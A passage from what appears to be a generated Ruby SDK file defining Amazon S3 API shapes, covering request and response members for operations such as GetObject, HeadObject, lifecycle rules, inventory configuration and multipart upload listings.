GetBucketRequestPaymentRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketRequestPaymentRequest.struct_class = Types::GetBucketRequestPaymentRequest
GetBucketTaggingOutput.add_member(:tag_set, Shapes::ShapeRef.new(shape: TagSet, required: true, location_name: "TagSet"))
GetBucketTaggingOutput.struct_class = Types::GetBucketTaggingOutput
GetBucketTaggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketTaggingRequest.struct_class = Types::GetBucketTaggingRequest
GetBucketVersioningOutput.add_member(:status, Shapes::ShapeRef.new(shape: BucketVersioningStatus, location_name: "Status"))
GetBucketVersioningOutput.add_member(:mfa_delete, Shapes::ShapeRef.new(shape: MFADeleteStatus, location_name: "MfaDelete"))
GetBucketVersioningOutput.struct_class = Types::GetBucketVersioningOutput
GetBucketVersioningRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketVersioningRequest.struct_class = Types::GetBucketVersioningRequest
GetBucketWebsiteOutput.add_member(:redirect_all_requests_to, Shapes::ShapeRef.new(shape: RedirectAllRequestsTo, location_name: "RedirectAllRequestsTo"))
GetBucketWebsiteOutput.add_member(:index_document, Shapes::ShapeRef.new(shape: IndexDocument, location_name: "IndexDocument"))
GetBucketWebsiteOutput.add_member(:error_document, Shapes::ShapeRef.new(shape: ErrorDocument, location_name: "ErrorDocument"))
GetBucketWebsiteOutput.add_member(:routing_rules, Shapes::ShapeRef.new(shape: RoutingRules, location_name: "RoutingRules"))
GetBucketWebsiteOutput.struct_class = Types::GetBucketWebsiteOutput
GetBucketWebsiteRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetBucketWebsiteRequest.struct_class = Types::GetBucketWebsiteRequest
GetObjectAclOutput.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
GetObjectAclOutput.add_member(:grants, Shapes::ShapeRef.new(shape: Grants, location_name: "AccessControlList"))
GetObjectAclOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
GetObjectAclOutput.struct_class = Types::GetObjectAclOutput
GetObjectAclRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetObjectAclRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
GetObjectAclRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
GetObjectAclRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
GetObjectAclRequest.struct_class = Types::GetObjectAclRequest
GetObjectOutput.add_member(:body, Shapes::ShapeRef.new(shape: Body, location_name: "Body", metadata: {"streaming"=>true}))
GetObjectOutput.add_member(:delete_marker, Shapes::ShapeRef.new(shape: DeleteMarker, location: "header", location_name: "x-amz-delete-marker"))
GetObjectOutput.add_member(:accept_ranges, Shapes::ShapeRef.new(shape: AcceptRanges, location: "header", location_name: "accept-ranges"))
GetObjectOutput.add_member(:expiration, Shapes::ShapeRef.new(shape: Expiration, location: "header", location_name: "x-amz-expiration"))
GetObjectOutput.add_member(:restore, Shapes::ShapeRef.new(shape: Restore, location: "header", location_name: "x-amz-restore"))
GetObjectOutput.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location: "header", location_name: "Last-Modified"))
GetObjectOutput.add_member(:content_length, Shapes::ShapeRef.new(shape: ContentLength, location: "header", location_name: "Content-Length"))
GetObjectOutput.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location: "header", location_name: "ETag"))
GetObjectOutput.add_member(:missing_meta, Shapes::ShapeRef.new(shape: MissingMeta, location: "header", location_name: "x-amz-missing-meta"))
GetObjectOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
GetObjectOutput.add_member(:cache_control, Shapes::ShapeRef.new(shape: CacheControl, location: "header", location_name: "Cache-Control"))
GetObjectOutput.add_member(:content_disposition, Shapes::ShapeRef.new(shape: ContentDisposition, location: "header", location_name: "Content-Disposition"))
GetObjectOutput.add_member(:content_encoding, Shapes::ShapeRef.new(shape: ContentEncoding, location: "header", location_name: "Content-Encoding"))
GetObjectOutput.add_member(:content_language, Shapes::ShapeRef.new(shape: ContentLanguage, location: "header", location_name: "Content-Language"))
GetObjectOutput.add_member(:content_range, Shapes::ShapeRef.new(shape: ContentRange, location: "header", location_name: "Content-Range"))
GetObjectOutput.add_member(:content_type, Shapes::ShapeRef.new(shape: ContentType, location: "header", location_name: "Content-Type"))
GetObjectOutput.add_member(:expires, Shapes::ShapeRef.new(shape: Expires, location: "header", location_name: "Expires"))
GetObjectOutput.add_member(:expires_string, Shapes::ShapeRef.new(shape: ExpiresString, location: "header", location_name: "Expires"))
GetObjectOutput.add_member(:website_redirect_location, Shapes::ShapeRef.new(shape: WebsiteRedirectLocation, location: "header", location_name: "x-amz-website-redirect-location"))
GetObjectOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
GetObjectOutput.add_member(:metadata, Shapes::ShapeRef.new(shape: Metadata, location: "headers", location_name: "x-amz-meta-"))
GetObjectOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
GetObjectOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
GetObjectOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
GetObjectOutput.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location: "header", location_name: "x-amz-storage-class"))
GetObjectOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
GetObjectOutput.add_member(:replication_status, Shapes::ShapeRef.new(shape: ReplicationStatus, location: "header", location_name: "x-amz-replication-status"))
GetObjectOutput.add_member(:parts_count, Shapes::ShapeRef.new(shape: PartsCount, location: "header", location_name: "x-amz-mp-parts-count"))
GetObjectOutput.add_member(:tag_count, Shapes::ShapeRef.new(shape: TagCount, location: "header", location_name: "x-amz-tagging-count"))
GetObjectOutput.struct_class = Types::GetObjectOutput
GetObjectOutput[:payload] = :body
GetObjectOutput[:payload_member] = GetObjectOutput.member(:body)
GetObjectRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetObjectRequest.add_member(:if_match, Shapes::ShapeRef.new(shape: IfMatch, location: "header", location_name: "If-Match"))
GetObjectRequest.add_member(:if_modified_since, Shapes::ShapeRef.new(shape: IfModifiedSince, location: "header", location_name: "If-Modified-Since"))
GetObjectRequest.add_member(:if_none_match, Shapes::ShapeRef.new(shape: IfNoneMatch, location: "header", location_name: "If-None-Match"))
GetObjectRequest.add_member(:if_unmodified_since, Shapes::ShapeRef.new(shape: IfUnmodifiedSince, location: "header", location_name: "If-Unmodified-Since"))
GetObjectRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
GetObjectRequest.add_member(:range, Shapes::ShapeRef.new(shape: Range, location: "header", location_name: "Range"))
GetObjectRequest.add_member(:response_cache_control, Shapes::ShapeRef.new(shape: ResponseCacheControl, location: "querystring", location_name: "response-cache-control"))
GetObjectRequest.add_member(:response_content_disposition, Shapes::ShapeRef.new(shape: ResponseContentDisposition, location: "querystring", location_name: "response-content-disposition"))
GetObjectRequest.add_member(:response_content_encoding, Shapes::ShapeRef.new(shape: ResponseContentEncoding, location: "querystring", location_name: "response-content-encoding"))
GetObjectRequest.add_member(:response_content_language, Shapes::ShapeRef.new(shape: ResponseContentLanguage, location: "querystring", location_name: "response-content-language"))
GetObjectRequest.add_member(:response_content_type, Shapes::ShapeRef.new(shape: ResponseContentType, location: "querystring", location_name: "response-content-type"))
GetObjectRequest.add_member(:response_expires, Shapes::ShapeRef.new(shape: ResponseExpires, location: "querystring", location_name: "response-expires"))
GetObjectRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
GetObjectRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
GetObjectRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
GetObjectRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
GetObjectRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
GetObjectRequest.add_member(:part_number, Shapes::ShapeRef.new(shape: PartNumber, location: "querystring", location_name: "partNumber"))
GetObjectRequest.struct_class = Types::GetObjectRequest
GetObjectTaggingOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
GetObjectTaggingOutput.add_member(:tag_set, Shapes::ShapeRef.new(shape: TagSet, required: true, location_name: "TagSet"))
GetObjectTaggingOutput.struct_class = Types::GetObjectTaggingOutput
GetObjectTaggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetObjectTaggingRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
GetObjectTaggingRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
GetObjectTaggingRequest.struct_class = Types::GetObjectTaggingRequest
GetObjectTorrentOutput.add_member(:body, Shapes::ShapeRef.new(shape: Body, location_name: "Body", metadata: {"streaming"=>true}))
GetObjectTorrentOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
GetObjectTorrentOutput.struct_class = Types::GetObjectTorrentOutput
GetObjectTorrentOutput[:payload] = :body
GetObjectTorrentOutput[:payload_member] = GetObjectTorrentOutput.member(:body)
GetObjectTorrentRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
GetObjectTorrentRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
GetObjectTorrentRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
GetObjectTorrentRequest.struct_class = Types::GetObjectTorrentRequest
GlacierJobParameters.add_member(:tier, Shapes::ShapeRef.new(shape: Tier, required: true, location_name: "Tier"))
GlacierJobParameters.struct_class = Types::GlacierJobParameters
Grant.add_member(:grantee, Shapes::ShapeRef.new(shape: Grantee, location_name: "Grantee"))
Grant.add_member(:permission, Shapes::ShapeRef.new(shape: Permission, location_name: "Permission"))
Grant.struct_class = Types::Grant
Grantee.add_member(:display_name, Shapes::ShapeRef.new(shape: DisplayName, location_name: "DisplayName"))
Grantee.add_member(:email_address, Shapes::ShapeRef.new(shape: EmailAddress, location_name: "EmailAddress"))
Grantee.add_member(:id, Shapes::ShapeRef.new(shape: ID, location_name: "ID"))
Grantee.add_member(:type, Shapes::ShapeRef.new(shape: Type, required: true, location_name: "xsi:type", metadata: {"xmlAttribute"=>true}))
Grantee.add_member(:uri, Shapes::ShapeRef.new(shape: URI, location_name: "URI"))
Grantee.struct_class = Types::Grantee
Grants.member = Shapes::ShapeRef.new(shape: Grant, location_name: "Grant")
HeadBucketRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
HeadBucketRequest.struct_class = Types::HeadBucketRequest
HeadObjectOutput.add_member(:delete_marker, Shapes::ShapeRef.new(shape: DeleteMarker, location: "header", location_name: "x-amz-delete-marker"))
HeadObjectOutput.add_member(:accept_ranges, Shapes::ShapeRef.new(shape: AcceptRanges, location: "header", location_name: "accept-ranges"))
HeadObjectOutput.add_member(:expiration, Shapes::ShapeRef.new(shape: Expiration, location: "header", location_name: "x-amz-expiration"))
HeadObjectOutput.add_member(:restore, Shapes::ShapeRef.new(shape: Restore, location: "header", location_name: "x-amz-restore"))
HeadObjectOutput.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location: "header", location_name: "Last-Modified"))
HeadObjectOutput.add_member(:content_length, Shapes::ShapeRef.new(shape: ContentLength, location: "header", location_name: "Content-Length"))
HeadObjectOutput.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location: "header", location_name: "ETag"))
HeadObjectOutput.add_member(:missing_meta, Shapes::ShapeRef.new(shape: MissingMeta, location: "header", location_name: "x-amz-missing-meta"))
HeadObjectOutput.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "header", location_name: "x-amz-version-id"))
HeadObjectOutput.add_member(:cache_control, Shapes::ShapeRef.new(shape: CacheControl, location: "header", location_name: "Cache-Control"))
HeadObjectOutput.add_member(:content_disposition, Shapes::ShapeRef.new(shape: ContentDisposition, location: "header", location_name: "Content-Disposition"))
HeadObjectOutput.add_member(:content_encoding, Shapes::ShapeRef.new(shape: ContentEncoding, location: "header", location_name: "Content-Encoding"))
HeadObjectOutput.add_member(:content_language, Shapes::ShapeRef.new(shape: ContentLanguage, location: "header", location_name: "Content-Language"))
HeadObjectOutput.add_member(:content_type, Shapes::ShapeRef.new(shape: ContentType, location: "header", location_name: "Content-Type"))
HeadObjectOutput.add_member(:expires, Shapes::ShapeRef.new(shape: Expires, location: "header", location_name: "Expires"))
HeadObjectOutput.add_member(:expires_string, Shapes::ShapeRef.new(shape: ExpiresString, location: "header", location_name: "Expires"))
HeadObjectOutput.add_member(:website_redirect_location, Shapes::ShapeRef.new(shape: WebsiteRedirectLocation, location: "header", location_name: "x-amz-website-redirect-location"))
HeadObjectOutput.add_member(:server_side_encryption, Shapes::ShapeRef.new(shape: ServerSideEncryption, location: "header", location_name: "x-amz-server-side-encryption"))
HeadObjectOutput.add_member(:metadata, Shapes::ShapeRef.new(shape: Metadata, location: "headers", location_name: "x-amz-meta-"))
HeadObjectOutput.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
HeadObjectOutput.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
HeadObjectOutput.add_member(:ssekms_key_id, Shapes::ShapeRef.new(shape: SSEKMSKeyId, location: "header", location_name: "x-amz-server-side-encryption-aws-kms-key-id"))
HeadObjectOutput.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location: "header", location_name: "x-amz-storage-class"))
HeadObjectOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
HeadObjectOutput.add_member(:replication_status, Shapes::ShapeRef.new(shape: ReplicationStatus, location: "header", location_name: "x-amz-replication-status"))
HeadObjectOutput.add_member(:parts_count, Shapes::ShapeRef.new(shape: PartsCount, location: "header", location_name: "x-amz-mp-parts-count"))
HeadObjectOutput.struct_class = Types::HeadObjectOutput
HeadObjectRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
HeadObjectRequest.add_member(:if_match, Shapes::ShapeRef.new(shape: IfMatch, location: "header", location_name: "If-Match"))
HeadObjectRequest.add_member(:if_modified_since, Shapes::ShapeRef.new(shape: IfModifiedSince, location: "header", location_name: "If-Modified-Since"))
HeadObjectRequest.add_member(:if_none_match, Shapes::ShapeRef.new(shape: IfNoneMatch, location: "header", location_name: "If-None-Match"))
HeadObjectRequest.add_member(:if_unmodified_since, Shapes::ShapeRef.new(shape: IfUnmodifiedSince, location: "header", location_name: "If-Unmodified-Since"))
HeadObjectRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
HeadObjectRequest.add_member(:range, Shapes::ShapeRef.new(shape: Range, location: "header", location_name: "Range"))
HeadObjectRequest.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location: "querystring", location_name: "versionId"))
HeadObjectRequest.add_member(:sse_customer_algorithm, Shapes::ShapeRef.new(shape: SSECustomerAlgorithm, location: "header", location_name: "x-amz-server-side-encryption-customer-algorithm"))
HeadObjectRequest.add_member(:sse_customer_key, Shapes::ShapeRef.new(shape: SSECustomerKey, location: "header", location_name: "x-amz-server-side-encryption-customer-key"))
HeadObjectRequest.add_member(:sse_customer_key_md5, Shapes::ShapeRef.new(shape: SSECustomerKeyMD5, location: "header", location_name: "x-amz-server-side-encryption-customer-key-MD5"))
HeadObjectRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
HeadObjectRequest.add_member(:part_number, Shapes::ShapeRef.new(shape: PartNumber, location: "querystring", location_name: "partNumber"))
HeadObjectRequest.struct_class = Types::HeadObjectRequest
IndexDocument.add_member(:suffix, Shapes::ShapeRef.new(shape: Suffix, required: true, location_name: "Suffix"))
IndexDocument.struct_class = Types::IndexDocument
Initiator.add_member(:id, Shapes::ShapeRef.new(shape: ID, location_name: "ID"))
Initiator.add_member(:display_name, Shapes::ShapeRef.new(shape: DisplayName, location_name: "DisplayName"))
Initiator.struct_class = Types::Initiator
InputSerialization.add_member(:csv, Shapes::ShapeRef.new(shape: CSVInput, location_name: "CSV"))
InputSerialization.add_member(:compression_type, Shapes::ShapeRef.new(shape: CompressionType, location_name: "CompressionType"))
InputSerialization.add_member(:json, Shapes::ShapeRef.new(shape: JSONInput, location_name: "JSON"))
InputSerialization.struct_class = Types::InputSerialization
InventoryConfiguration.add_member(:destination, Shapes::ShapeRef.new(shape: InventoryDestination, required: true, location_name: "Destination"))
InventoryConfiguration.add_member(:is_enabled, Shapes::ShapeRef.new(shape: IsEnabled, required: true, location_name: "IsEnabled"))
InventoryConfiguration.add_member(:filter, Shapes::ShapeRef.new(shape: InventoryFilter, location_name: "Filter"))
InventoryConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: InventoryId, required: true, location_name: "Id"))
InventoryConfiguration.add_member(:included_object_versions, Shapes::ShapeRef.new(shape: InventoryIncludedObjectVersions, required: true, location_name: "IncludedObjectVersions"))
InventoryConfiguration.add_member(:optional_fields, Shapes::ShapeRef.new(shape: InventoryOptionalFields, location_name: "OptionalFields"))
InventoryConfiguration.add_member(:schedule, Shapes::ShapeRef.new(shape: InventorySchedule, required: true, location_name: "Schedule"))
InventoryConfiguration.struct_class = Types::InventoryConfiguration
InventoryConfigurationList.member = Shapes::ShapeRef.new(shape: InventoryConfiguration)
InventoryDestination.add_member(:s3_bucket_destination, Shapes::ShapeRef.new(shape: InventoryS3BucketDestination, required: true, location_name: "S3BucketDestination"))
InventoryDestination.struct_class = Types::InventoryDestination
InventoryEncryption.add_member(:sses3, Shapes::ShapeRef.new(shape: SSES3, location_name: "SSE-S3"))
InventoryEncryption.add_member(:ssekms, Shapes::ShapeRef.new(shape: SSEKMS, location_name: "SSE-KMS"))
InventoryEncryption.struct_class = Types::InventoryEncryption
InventoryFilter.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, required: true, location_name: "Prefix"))
InventoryFilter.struct_class = Types::InventoryFilter
InventoryOptionalFields.member = Shapes::ShapeRef.new(shape: InventoryOptionalField, location_name: "Field")
InventoryS3BucketDestination.add_member(:account_id, Shapes::ShapeRef.new(shape: AccountId, location_name: "AccountId"))
InventoryS3BucketDestination.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location_name: "Bucket"))
InventoryS3BucketDestination.add_member(:format, Shapes::ShapeRef.new(shape: InventoryFormat, required: true, location_name: "Format"))
InventoryS3BucketDestination.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
InventoryS3BucketDestination.add_member(:encryption, Shapes::ShapeRef.new(shape: InventoryEncryption, location_name: "Encryption"))
InventoryS3BucketDestination.struct_class = Types::InventoryS3BucketDestination
InventorySchedule.add_member(:frequency, Shapes::ShapeRef.new(shape: InventoryFrequency, required: true, location_name: "Frequency"))
InventorySchedule.struct_class = Types::InventorySchedule
JSONInput.add_member(:type, Shapes::ShapeRef.new(shape: JSONType, location_name: "Type"))
JSONInput.struct_class = Types::JSONInput
JSONOutput.add_member(:record_delimiter, Shapes::ShapeRef.new(shape: RecordDelimiter, location_name: "RecordDelimiter"))
JSONOutput.struct_class = Types::JSONOutput
LambdaFunctionConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: NotificationId, location_name: "Id"))
LambdaFunctionConfiguration.add_member(:lambda_function_arn, Shapes::ShapeRef.new(shape: LambdaFunctionArn, required: true, location_name: "CloudFunction"))
LambdaFunctionConfiguration.add_member(:events, Shapes::ShapeRef.new(shape: EventList, required: true, location_name: "Event"))
LambdaFunctionConfiguration.add_member(:filter, Shapes::ShapeRef.new(shape: NotificationConfigurationFilter, location_name: "Filter"))
LambdaFunctionConfiguration.struct_class = Types::LambdaFunctionConfiguration
LambdaFunctionConfigurationList.member = Shapes::ShapeRef.new(shape: LambdaFunctionConfiguration)
LifecycleConfiguration.add_member(:rules, Shapes::ShapeRef.new(shape: Rules, required: true, location_name: "Rule"))
LifecycleConfiguration.struct_class = Types::LifecycleConfiguration
LifecycleExpiration.add_member(:date, Shapes::ShapeRef.new(shape: Date, location_name: "Date"))
LifecycleExpiration.add_member(:days, Shapes::ShapeRef.new(shape: Days, location_name: "Days"))
LifecycleExpiration.add_member(:expired_object_delete_marker, Shapes::ShapeRef.new(shape: ExpiredObjectDeleteMarker, location_name: "ExpiredObjectDeleteMarker"))
LifecycleExpiration.struct_class = Types::LifecycleExpiration
LifecycleRule.add_member(:expiration, Shapes::ShapeRef.new(shape: LifecycleExpiration, location_name: "Expiration"))
LifecycleRule.add_member(:id, Shapes::ShapeRef.new(shape: ID, location_name: "ID"))
LifecycleRule.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, deprecated: true, location_name: "Prefix"))
LifecycleRule.add_member(:filter, Shapes::ShapeRef.new(shape: LifecycleRuleFilter, location_name: "Filter"))
LifecycleRule.add_member(:status, Shapes::ShapeRef.new(shape: ExpirationStatus, required: true, location_name: "Status"))
LifecycleRule.add_member(:transitions, Shapes::ShapeRef.new(shape: TransitionList, location_name: "Transition"))
LifecycleRule.add_member(:noncurrent_version_transitions, Shapes::ShapeRef.new(shape: NoncurrentVersionTransitionList, location_name: "NoncurrentVersionTransition"))
LifecycleRule.add_member(:noncurrent_version_expiration, Shapes::ShapeRef.new(shape: NoncurrentVersionExpiration, location_name: "NoncurrentVersionExpiration"))
LifecycleRule.add_member(:abort_incomplete_multipart_upload, Shapes::ShapeRef.new(shape: AbortIncompleteMultipartUpload, location_name: "AbortIncompleteMultipartUpload"))
LifecycleRule.struct_class = Types::LifecycleRule
LifecycleRuleAndOperator.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
LifecycleRuleAndOperator.add_member(:tags, Shapes::ShapeRef.new(shape: TagSet, location_name: "Tag", metadata: {"flattened"=>true}))
LifecycleRuleAndOperator.struct_class = Types::LifecycleRuleAndOperator
LifecycleRuleFilter.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
LifecycleRuleFilter.add_member(:tag, Shapes::ShapeRef.new(shape: Tag, location_name: "Tag"))
LifecycleRuleFilter.add_member(:and, Shapes::ShapeRef.new(shape: LifecycleRuleAndOperator, location_name: "And"))
LifecycleRuleFilter.struct_class = Types::LifecycleRuleFilter
LifecycleRules.member = Shapes::ShapeRef.new(shape: LifecycleRule)
ListBucketAnalyticsConfigurationsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListBucketAnalyticsConfigurationsOutput.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location_name: "ContinuationToken"))
ListBucketAnalyticsConfigurationsOutput.add_member(:next_continuation_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextContinuationToken"))
ListBucketAnalyticsConfigurationsOutput.add_member(:analytics_configuration_list, Shapes::ShapeRef.new(shape: AnalyticsConfigurationList, location_name: "AnalyticsConfiguration"))
ListBucketAnalyticsConfigurationsOutput.struct_class = Types::ListBucketAnalyticsConfigurationsOutput
ListBucketAnalyticsConfigurationsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListBucketAnalyticsConfigurationsRequest.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location: "querystring", location_name: "continuation-token"))
ListBucketAnalyticsConfigurationsRequest.struct_class = Types::ListBucketAnalyticsConfigurationsRequest
ListBucketInventoryConfigurationsOutput.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location_name: "ContinuationToken"))
ListBucketInventoryConfigurationsOutput.add_member(:inventory_configuration_list, Shapes::ShapeRef.new(shape: InventoryConfigurationList, location_name: "InventoryConfiguration"))
ListBucketInventoryConfigurationsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListBucketInventoryConfigurationsOutput.add_member(:next_continuation_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextContinuationToken"))
ListBucketInventoryConfigurationsOutput.struct_class = Types::ListBucketInventoryConfigurationsOutput
ListBucketInventoryConfigurationsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListBucketInventoryConfigurationsRequest.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location: "querystring", location_name: "continuation-token"))
ListBucketInventoryConfigurationsRequest.struct_class = Types::ListBucketInventoryConfigurationsRequest
ListBucketMetricsConfigurationsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListBucketMetricsConfigurationsOutput.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location_name: "ContinuationToken"))
ListBucketMetricsConfigurationsOutput.add_member(:next_continuation_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextContinuationToken"))
ListBucketMetricsConfigurationsOutput.add_member(:metrics_configuration_list, Shapes::ShapeRef.new(shape: MetricsConfigurationList, location_name: "MetricsConfiguration"))
ListBucketMetricsConfigurationsOutput.struct_class = Types::ListBucketMetricsConfigurationsOutput
ListBucketMetricsConfigurationsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListBucketMetricsConfigurationsRequest.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location: "querystring", location_name: "continuation-token"))
ListBucketMetricsConfigurationsRequest.struct_class = Types::ListBucketMetricsConfigurationsRequest
ListBucketsOutput.add_member(:buckets, Shapes::ShapeRef.new(shape: Buckets, location_name: "Buckets"))
ListBucketsOutput.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
ListBucketsOutput.struct_class = Types::ListBucketsOutput
ListMultipartUploadsOutput.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, location_name: "Bucket"))
ListMultipartUploadsOutput.add_member(:key_marker, Shapes::ShapeRef.new(shape: KeyMarker, location_name: "KeyMarker"))
ListMultipartUploadsOutput.add_member(:upload_id_marker, Shapes::ShapeRef.new(shape: UploadIdMarker, location_name: "UploadIdMarker"))
ListMultipartUploadsOutput.add_member(:next_key_marker, Shapes::ShapeRef.new(shape: NextKeyMarker, location_name: "NextKeyMarker"))
ListMultipartUploadsOutput.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
ListMultipartUploadsOutput.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location_name: "Delimiter"))
ListMultipartUploadsOutput.add_member(:next_upload_id_marker, Shapes::ShapeRef.new(shape: NextUploadIdMarker, location_name: "NextUploadIdMarker"))
ListMultipartUploadsOutput.add_member(:max_uploads, Shapes::ShapeRef.new(shape: MaxUploads, location_name: "MaxUploads"))
ListMultipartUploadsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListMultipartUploadsOutput.add_member(:uploads, Shapes::ShapeRef.new(shape: MultipartUploadList, location_name: "Upload"))
ListMultipartUploadsOutput.add_member(:common_prefixes, Shapes::ShapeRef.new(shape: CommonPrefixList, location_name: "CommonPrefixes"))
ListMultipartUploadsOutput.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location_name: "EncodingType"))
ListMultipartUploadsOutput.struct_class = Types::ListMultipartUploadsOutput
ListMultipartUploadsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListMultipartUploadsRequest.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location: "querystring", location_name: "delimiter"))
ListMultipartUploadsRequest.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location: "querystring", location_name: "encoding-type"))
